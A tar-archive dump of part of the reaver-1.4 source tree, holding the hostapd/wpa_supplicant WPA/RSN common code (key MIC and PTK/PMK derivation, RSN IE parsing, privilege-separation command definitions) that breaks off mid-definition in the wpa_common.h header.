reaver-1.4/0000755000175000017500000000000011705505256012202 5ustar reaverreaverreaver-1.4/src/0000755000175000017500000000000011705505260012764 5ustar reaverreaverreaver-1.4/src/common/0000755000175000017500000000000011705505256014261 5ustar reaverreaverreaver-1.4/src/common/wpa_common.c0000755000175000017500000005115711705505256016600 0ustar reaverreaver/* * WPA/RSN - Shared functions for supplicant and authenticator * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "ieee802_11_defs.h" #include "defs.h" #include "wpa_common.h" /** * wpa_eapol_key_mic - Calculate EAPOL-Key MIC * @key: EAPOL-Key Key Confirmation Key (KCK) * @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*) * @buf: Pointer to the beginning of the EAPOL header (version field) * @len: Length of the EAPOL frame (from EAPOL header to the end of the frame) * @mic: Pointer to the buffer to which the EAPOL-Key MIC is written * Returns: 0 on success, -1 on failure * * Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has * to be cleared (all zeroes) when calling this function. * * Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the * description of the Key MIC calculation. It includes packet data from the * beginning of the EAPOL-Key header, not EAPOL header. This incorrect change * happened during final editing of the standard and the correct behavior is * defined in the last draft (IEEE 802.11i/D10). */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic) { u8 hash[SHA1_MAC_LEN]; switch (ver) { case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: return hmac_md5(key, 16, buf, len, mic); case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: if (hmac_sha1(key, 16, buf, len, hash)) return -1; os_memcpy(mic, hash, MD5_MAC_LEN); break; #if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W) case WPA_KEY_INFO_TYPE_AES_128_CMAC: return omac1_aes_128(key, buf, len, mic); #endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */ default: return -1; } return 0; } /** * wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces * @pmk: Pairwise master key * @pmk_len: Length of PMK * @label: Label to use in derivation * @addr1: AA or SA * @addr2: SA or AA * @nonce1: ANonce or SNonce * @nonce2: SNonce or ANonce * @ptk: Buffer for pairwise transient key * @ptk_len: Length of PTK * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PTK = PRF-X(PMK, "Pairwise key expansion", * Min(AA, SA) || Max(AA, SA) || * Min(ANonce, SNonce) || Max(ANonce, SNonce)) * * STK = PRF-X(SMK, "Peer key expansion", * Min(MAC_I, MAC_P) || Max(MAC_I, MAC_P) || * Min(INonce, PNonce) || Max(INonce, PNonce)) */ void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256) { u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN]; if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) { os_memcpy(data, addr1, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN); } else { os_memcpy(data, addr2, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN); } if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) { os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2, WPA_NONCE_LEN); } else { os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1, WPA_NONCE_LEN); } #ifdef CONFIG_IEEE80211W if (use_sha256) sha256_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); else #endif /* CONFIG_IEEE80211W */ sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR, MAC2STR(addr1), MAC2STR(addr2)); wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len); wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len); } #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic) { u8 *buf, *pos; size_t buf_len; buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len; buf = os_malloc(buf_len); if (buf == NULL) return -1; pos = buf; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, ap_addr, ETH_ALEN); pos += ETH_ALEN; *pos++ = transaction_seqnum; if (rsnie) { os_memcpy(pos, rsnie, rsnie_len); pos += rsnie_len; } if (mdie) { os_memcpy(pos, mdie, mdie_len); pos += mdie_len; } if (ftie) { struct rsn_ftie *_ftie; os_memcpy(pos, ftie, ftie_len); if (ftie_len < 2 + sizeof(*_ftie)) { os_free(buf); return -1; } _ftie = (struct rsn_ftie *) (pos + 2); os_memset(_ftie->mic, 0, sizeof(_ftie->mic)); pos += ftie_len; } if (ric) { os_memcpy(pos, ric, ric_len); pos += ric_len; } wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf); if (omac1_aes_128(kck, buf, pos - buf, mic)) { os_free(buf); return -1; } os_free(buf); return 0; } #endif /* CONFIG_IEEE80211R */ #ifndef CONFIG_NO_WPA2 static int rsn_selector_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE) return WPA_CIPHER_NONE; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40) return WPA_CIPHER_WEP40; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP) return WPA_CIPHER_TKIP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP) return WPA_CIPHER_CCMP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104) return WPA_CIPHER_WEP104; #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC) return WPA_CIPHER_AES_128_CMAC; #endif /* CONFIG_IEEE80211W */ return 0; } static int rsn_key_mgmt_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X) return WPA_KEY_MGMT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X) return WPA_KEY_MGMT_PSK; #ifdef CONFIG_IEEE80211R if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X) return WPA_KEY_MGMT_FT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK) return WPA_KEY_MGMT_FT_PSK; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256) return WPA_KEY_MGMT_IEEE8021X_SHA256; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256) return WPA_KEY_MGMT_PSK_SHA256; #endif /* CONFIG_IEEE80211W */ return 0; } #endif /* CONFIG_NO_WPA2 */ /** * wpa_parse_wpa_ie_rsn - Parse RSN IE * @rsn_ie: Buffer containing RSN IE * @rsn_ie_len: RSN IE buffer length (including IE number and length octets) * @data: Pointer to structure that will be filled in with parsed data * Returns: 0 on success, <0 on failure */ int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data) { #ifndef CONFIG_NO_WPA2 const struct rsn_ie_hdr *hdr; const u8 *pos; int left; int i, count; os_memset(data, 0, sizeof(*data)); data->proto = WPA_PROTO_RSN; data->pairwise_cipher = WPA_CIPHER_CCMP; data->group_cipher = WPA_CIPHER_CCMP; data->key_mgmt = WPA_KEY_MGMT_IEEE8021X; data->capabilities = 0; data->pmkid = NULL; data->num_pmkid = 0; #ifdef CONFIG_IEEE80211W data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC; #else /* CONFIG_IEEE80211W */ data->mgmt_group_cipher = 0; #endif /* CONFIG_IEEE80211W */ if (rsn_ie_len == 0) { /* No RSN IE - fail silently */ return -1; } if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) { wpa_printf(MSG_DEBUG, "%s: ie len too short %lu", __func__, (unsigned long) rsn_ie_len); return -1; } hdr = (const struct rsn_ie_hdr *) rsn_ie; if (hdr->elem_id != WLAN_EID_RSN || hdr->len != rsn_ie_len - 2 || WPA_GET_LE16(hdr->version) != RSN_VERSION) { wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version", __func__); return -2; } pos = (const u8 *) (hdr + 1); left = rsn_ie_len - sizeof(*hdr); if (left >= RSN_SELECTOR_LEN) { data->group_cipher = rsn_selector_to_bitfield(pos); #ifdef CONFIG_IEEE80211W if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group " "cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } else if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much", __func__, left); return -3; } if (left >= 2) { data->pairwise_cipher = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), " "count %u left %u", __func__, count, left); return -4; } for (i = 0; i < count; i++) { data->pairwise_cipher |= rsn_selector_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #ifdef CONFIG_IEEE80211W if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as " "pairwise cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)", __func__); return -5; } if (left >= 2) { data->key_mgmt = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), " "count %u left %u", __func__, count, left); return -6; } for (i = 0; i < count; i++) { data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)", __func__); return -7; } if (left >= 2) { data->capabilities = WPA_GET_LE16(pos); pos += 2; left -= 2; } if (left >= 2) { data->num_pmkid = WPA_GET_LE16(pos); pos += 2; left -= 2; if (left < (int) data->num_pmkid * PMKID_LEN) { wpa_printf(MSG_DEBUG, "%s: PMKID underflow " "(num_pmkid=%lu left=%d)", __func__, (unsigned long) data->num_pmkid, left); data->num_pmkid = 0; return -9; } else { data->pmkid = pos; pos += data->num_pmkid * PMKID_LEN; left -= data->num_pmkid * PMKID_LEN; } } #ifdef CONFIG_IEEE80211W if (left >= 4) { data->mgmt_group_cipher = rsn_selector_to_bitfield(pos); if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: Unsupported management " "group cipher 0x%x", __func__, data->mgmt_group_cipher); return -10; } pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #endif /* CONFIG_IEEE80211W */ if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored", __func__, left); } return 0; #else /* CONFIG_NO_WPA2 */ return -1; #endif /* CONFIG_NO_WPA2 */ } #ifdef CONFIG_IEEE80211R /** * wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name * * IEEE Std 802.11r-2008 - 8.5.1.5.3 */ void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name) { u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 + FT_R0KH_ID_MAX_LEN + ETH_ALEN]; u8 *pos, r0_key_data[48], hash[32]; const u8 *addr[2]; size_t len[2]; /* * R0-Key-Data = KDF-384(XXKey, "FT-R0", * SSIDlength || SSID || MDID || R0KHlength || * R0KH-ID || S0KH-ID) * XXKey is either the second 256 bits of MSK or PSK. * PMK-R0 = L(R0-Key-Data, 0, 256) * PMK-R0Name-Salt = L(R0-Key-Data, 256, 128) */ if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN) return; pos = buf; *pos++ = ssid_len; os_memcpy(pos, ssid, ssid_len); pos += ssid_len; os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN); pos += MOBILITY_DOMAIN_ID_LEN; *pos++ = r0kh_id_len; os_memcpy(pos, r0kh_id, r0kh_id_len); pos += r0kh_id_len; os_memcpy(pos, s0kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf, r0_key_data, sizeof(r0_key_data)); os_memcpy(pmk_r0, r0_key_data, PMK_LEN); /* * PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt) */ addr[0] = (const u8 *) "FT-R0N"; len[0] = 6; addr[1] = r0_key_data + PMK_LEN; len[1] = 16; sha256_vector(2, addr, len, hash); os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1_name - Derive PMKR1Name * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name) { u8 hash[32]; const u8 *addr[4]; size_t len[4]; /* * PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name || * R1KH-ID || S1KH-ID)) */ addr[0] = (const u8 *) "FT-R1N"; len[0] = 6; addr[1] = pmk_r0_name; len[1] = WPA_PMK_NAME_LEN; addr[2] = r1kh_id; len[2] = FT_R1KH_ID_LEN; addr[3] = s1kh_id; len[3] = ETH_ALEN; sha256_vector(4, addr, len, hash); os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0 * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name) { u8 buf[FT_R1KH_ID_LEN + ETH_ALEN]; u8 *pos; /* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */ pos = buf; os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN); pos += FT_R1KH_ID_LEN; os_memcpy(pos, s1kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN); wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name); } /** * wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1 * * IEEE Std 802.11r-2008 - 8.5.1.5.5 */ void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name) { u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN]; u8 *pos, hash[32]; const u8 *addr[6]; size_t len[6]; /* * PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce || * BSSID || STA-ADDR) */ pos = buf; os_memcpy(pos, snonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, anonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, bssid, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len); /* * PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce || * ANonce || BSSID || STA-ADDR)) */ addr[0] = pmk_r1_name; len[0] = WPA_PMK_NAME_LEN; addr[1] = (const u8 *) "FT-PTKN"; len[1] = 7; addr[2] = snonce; len[2] = WPA_NONCE_LEN; addr[3] = anonce; len[3] = WPA_NONCE_LEN; addr[4] = bssid; len[4] = ETH_ALEN; addr[5] = sta_addr; len[5] = ETH_ALEN; sha256_vector(6, addr, len, hash); os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN); } #endif /* CONFIG_IEEE80211R */ /** * rsn_pmkid - Calculate PMK identifier * @pmk: Pairwise master key * @pmk_len: Length of pmk in bytes * @aa: Authenticator address * @spa: Supplicant address * @pmkid: Buffer for PMKID * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA) */ void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256) { char *title = "PMK Name"; const u8 *addr[3]; const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN }; unsigned char hash[SHA256_MAC_LEN]; addr[0] = (u8 *) title; addr[1] = aa; addr[2] = spa; #ifdef CONFIG_IEEE80211W if (use_sha256) hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash); else #endif /* CONFIG_IEEE80211W */ hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash); os_memcpy(pmkid, hash, PMKID_LEN); } /** * wpa_cipher_txt - Convert cipher suite to a text string * @cipher: Cipher suite (WPA_CIPHER_* enum) * Returns: Pointer to a text string of the cipher suite name */ const char * wpa_cipher_txt(int cipher) { switch (cipher) { case WPA_CIPHER_NONE: return "NONE"; case WPA_CIPHER_WEP40: return "WEP-40"; case WPA_CIPHER_WEP104: return "WEP-104"; case WPA_CIPHER_TKIP: return "TKIP"; case WPA_CIPHER_CCMP: return "CCMP"; case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP: return "CCMP+TKIP"; default: return "UNKNOWN"; } } /** * wpa_key_mgmt_txt - Convert key management suite to a text string * @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum) * @proto: WPA/WPA2 version (WPA_PROTO_*) * Returns: Pointer to a text string of the key management suite name */ const char * wpa_key_mgmt_txt(int key_mgmt, int proto) { switch (key_mgmt) { case WPA_KEY_MGMT_IEEE8021X: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2+WPA/IEEE 802.1X/EAP"; return proto == WPA_PROTO_RSN ? "WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP"; case WPA_KEY_MGMT_PSK: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2-PSK+WPA-PSK"; return proto == WPA_PROTO_RSN ? "WPA2-PSK" : "WPA-PSK"; case WPA_KEY_MGMT_NONE: return "NONE"; case WPA_KEY_MGMT_IEEE8021X_NO_WPA: return "IEEE 802.1X (no WPA)"; #ifdef CONFIG_IEEE80211R case WPA_KEY_MGMT_FT_IEEE8021X: return "FT-EAP"; case WPA_KEY_MGMT_FT_PSK: return "FT-PSK"; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W case WPA_KEY_MGMT_IEEE8021X_SHA256: return "WPA2-EAP-SHA256"; case WPA_KEY_MGMT_PSK_SHA256: return "WPA2-PSK-SHA256"; #endif /* CONFIG_IEEE80211W */ default: return "UNKNOWN"; } } int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len) { if (ie1 == NULL || ie2 == NULL) return -1; if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0) return 0; /* identical IEs */ #ifdef CONFIG_IEEE80211R if (ft_initial_assoc) { struct wpa_ie_data ie1d, ie2d; /* * The PMKID-List in RSN IE is different between Beacon/Probe * Response/(Re)Association Request frames and EAPOL-Key * messages in FT initial mobility domain association. Allow * for this, but verify that other parts of the RSN IEs are * identical. */ if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 || wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0) return -1; if (ie1d.proto == ie2d.proto && ie1d.pairwise_cipher == ie2d.pairwise_cipher && ie1d.group_cipher == ie2d.group_cipher && ie1d.key_mgmt == ie2d.key_mgmt && ie1d.capabilities == ie2d.capabilities && ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher) return 0; } #endif /* CONFIG_IEEE80211R */ return -1; } #ifdef CONFIG_IEEE80211R int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid) { u8 *start, *end, *rpos, *rend; int added = 0; start = ies; end = ies + ies_len; while (start < end) { if (*start == WLAN_EID_RSN) break; start += 2 + start[1]; } if (start >= end) { wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in " "IEs data"); return -1; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification", start, 2 + start[1]); /* Find start of PMKID-Count */ rpos = start + 2; rend = rpos + start[1]; /* Skip Version and Group Data Cipher Suite */ rpos += 2 + 4; /* Skip Pairwise Cipher Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; /* Skip AKM Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; if (rpos == rend) { /* Add RSN Capabilities */ os_memmove(rpos + 2, rpos, end - rpos); *rpos++ = 0; *rpos++ = 0; } else { /* Skip RSN Capabilities */ rpos += 2; if (rpos > rend) { wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in " "IEs data"); return -1; } } if (rpos == rend) { /* No PMKID-Count field included; add it */ os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos); WPA_PUT_LE16(rpos, 1); rpos += 2; os_memcpy(rpos, pmkid, PMKID_LEN); added += 2 + PMKID_LEN; start[1] += 2 + PMKID_LEN; } else { /* PMKID-Count was included; use it */ if (WPA_GET_LE16(rpos) != 0) { wpa_printf(MSG_ERROR, "FT: Unexpected PMKID " "in RSN IE in EAPOL-Key data"); return -1; } WPA_PUT_LE16(rpos, 1); rpos += 2; os_memmove(rpos + PMKID_LEN, rpos, end - rpos); os_memcpy(rpos, pmkid, PMKID_LEN); added += PMKID_LEN; start[1] += PMKID_LEN; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification " "(PMKID inserted)", start, 2 + start[1]); return added; } #endif /* CONFIG_IEEE80211R */ reaver-1.4/src/common/privsep_commands.h0000755000175000017500000000310311705505256020003 0ustar reaverreaver/* * WPA Supplicant - privilege separation commands * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PRIVSEP_COMMANDS_H #define PRIVSEP_COMMANDS_H enum privsep_cmd { PRIVSEP_CMD_REGISTER, PRIVSEP_CMD_UNREGISTER, PRIVSEP_CMD_SCAN, PRIVSEP_CMD_GET_SCAN_RESULTS, PRIVSEP_CMD_ASSOCIATE, PRIVSEP_CMD_GET_BSSID, PRIVSEP_CMD_GET_SSID, PRIVSEP_CMD_SET_KEY, PRIVSEP_CMD_GET_CAPA, PRIVSEP_CMD_L2_REGISTER, PRIVSEP_CMD_L2_UNREGISTER, PRIVSEP_CMD_L2_NOTIFY_AUTH_START, PRIVSEP_CMD_L2_SEND, PRIVSEP_CMD_SET_COUNTRY, }; struct privsep_cmd_associate { u8 bssid[ETH_ALEN]; u8 ssid[32]; size_t ssid_len; int freq; int pairwise_suite; int group_suite; int key_mgmt_suite; int auth_alg; int mode; size_t wpa_ie_len; /* followed by wpa_ie_len bytes of wpa_ie */ }; struct privsep_cmd_set_key { int alg; u8 addr[ETH_ALEN]; int key_idx; int set_tx; u8 seq[8]; size_t seq_len; u8 key[32]; size_t key_len; }; enum privsep_event { PRIVSEP_EVENT_SCAN_RESULTS, PRIVSEP_EVENT_ASSOC, PRIVSEP_EVENT_DISASSOC, PRIVSEP_EVENT_ASSOCINFO, PRIVSEP_EVENT_MICHAEL_MIC_FAILURE, PRIVSEP_EVENT_INTERFACE_STATUS, PRIVSEP_EVENT_PMKID_CANDIDATE, PRIVSEP_EVENT_STKSTART, PRIVSEP_EVENT_FT_RESPONSE, PRIVSEP_EVENT_RX_EAPOL, }; #endif /* PRIVSEP_COMMANDS_H */ reaver-1.4/src/common/wpa_common.h0000755000175000017500000002475211705505256016606 0ustar reaverreaver/* * WPA definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_COMMON_H #define WPA_COMMON_H #define WPA_MAX_SSID_LEN 32 /* IEEE 802.11i */ #define PMKID_LEN 16 #define PMK_LEN 32 #define WPA_REPLAY_COUNTER_LEN 8 #define WPA_NONCE_LEN 32 #define WPA_KEY_RSC_LEN 8 #define WPA_GMK_LEN 32 #define WPA_GTK_MAX_LEN 32 #define WPA_SELECTOR_LEN 4 #define WPA_VERSION 1 #define RSN_SELECTOR_LEN 4 #define RSN_VERSION 1 #define RSN_SELECTOR(a, b, c, d) \ ((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \ (u32) (d)) #define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #if 0 #define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3) #endif #define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4) #define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5) #define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #ifdef CONFIG_IEEE80211R #define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #endif /* CONFIG_IEEE80211R */ #define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0) #define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #if 0 #define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #endif #define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #ifdef CONFIG_IEEE80211W #define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #endif /* CONFIG_IEEE80211W */ /* EAPOL-Key Key Data Encapsulation * GroupKey and PeerKey require encryption, otherwise, encryption is optional. */ #define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #if 0 #define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #endif #define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #ifdef CONFIG_PEERKEY #define RSN_KEY_DATA_SMK 